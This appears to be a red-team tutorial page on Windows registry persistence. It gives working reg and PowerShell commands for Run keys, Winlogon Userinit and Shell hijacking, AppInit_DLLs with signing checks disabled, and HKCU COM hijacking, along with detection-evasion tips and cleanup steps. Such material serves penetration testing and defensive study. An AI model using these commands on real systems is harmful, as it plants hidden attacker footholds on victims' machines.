# Windows Registry Persistence

> Covers Windows Registry-based persistence techniques, including Run keys, Winlogon hijacking, and COM hijacking to maintain attacker footholds.

- **URL:** https://hackindex.io/platforms/windows/persistence/windows-registry-persistence
- **Path:** Windows > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/windows/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Registry-based persistence survives reboots without creating visible scheduled tasks or services. Key registry locations for persistence:

- Run and RunOnce keys execute payloads at user login or system startup
- Winlogon keys load code during the authentication process
- AppInit_DLLs inject into every process that loads user32.dll
- COM object hijacking redirects legitimate COM calls to your payload

More advanced keys load code deeper in the boot process and are less likely to be caught by basic persistence scans.

## Run and RunOnce keys

The most common persistence mechanism. Entries under Run execute every time the user logs in. RunOnce entries execute once and are deleted automatically.

**Add Run key persistence**

```powershell
# HKCU: current user, no admin required
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# HKLM: all users, requires admin
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# RunOnce: executes once then deletes itself
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# Verify entry was added
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

**Run key via PowerShell**

```powershell
# Add via PowerShell registry provider
New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'Updater' -Value 'C:\Windows\Temp\payload.exe' -PropertyType String -Force

# Remove when done
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'Updater'
```

## Winlogon persistence

Winlogon keys control what runs during the Windows login process. Appending to `Userinit` or replacing `Shell` loads your payload alongside the normal login sequence. Both require admin.

**Winlogon key persistence**

```powershell
# Check current values before modifying
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell

# Append payload to Userinit (keep the original userinit.exe or login will break)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,C:\Windows\Temp\payload.exe" /f

# Replace Shell (normally explorer.exe: payload runs instead of desktop)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,C:\Windows\Temp\payload.exe" /f
```

Always preserve the original value in Userinit. If you overwrite it without keeping `userinit.exe`, the user will not get a desktop on login and the persistence will be obvious. Read the current value first and append with a comma separator.

## AppInit_DLLs

DLLs listed in AppInit_DLLs are loaded into every process that loads `User32.dll`: which is nearly every GUI application. This gives broad execution coverage but is noisy and well-monitored by modern EDR.

**AppInit_DLLs persistence**

```powershell
# Check if AppInit is enabled (LoadAppInit_DLLs must be 1)
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs

# Enable and set DLL path (requires admin)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f

# Also set RequireSignedAppInit_DLLs to 0 if Secure Boot is active
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0 /f
```

AppInit_DLLs is disabled by default when Secure Boot is enabled. Check before relying on it. On modern hardened systems this technique is rarely viable: prefer Run keys or scheduled tasks.

## COM object hijacking

COM objects registered under HKCU override system-wide HKLM registrations for the current user. Replacing a COM object's InprocServer32 path with your DLL causes it to load whenever that COM object is instantiated: with no admin required and no Run key visible in standard autoruns checks.

**COM hijacking via HKCU**

```powershell
# Find COM objects registered in HKLM but missing from HKCU (hijackable)
# Use Process Monitor to find CLSID lookups that fail in HKCU: filter on:
# RegOpenKey, Result: NAME NOT FOUND, Path contains HKCU\Software\Classes\CLSID

# Example: hijack a known missing CLSID
# First create the key structure in HKCU
$CLSID = "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
New-Item -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Name '(default)' -Value 'C:\Windows\Temp\payload.dll'
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Name 'ThreadingModel' -Value 'Apartment'
```

COM hijacking requires identifying which CLSIDs are looked up in HKCU but not found. Use Sysinternals Autoruns with the **Hijacks** filter enabled: it highlights all COM objects where an HKCU override is possible. The payload must be a DLL, not an EXE.

## Cleaning up registry persistence

**Remove registry persistence entries**

```powershell
# Remove Run key
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /f
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /f

# Restore Winlogon to default
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe," /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f

# Remove AppInit_DLLs
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f
```

## References

- [Run and RunOnce Registry Keys: Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys) - Official reference for Run key behaviour and execution order
- [AppInit DLLs: Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/dlls/appinit-dlls-in-windows-7-and-windows-server-2008-r2) - AppInit_DLLs behaviour, requirements, and Secure Boot interaction
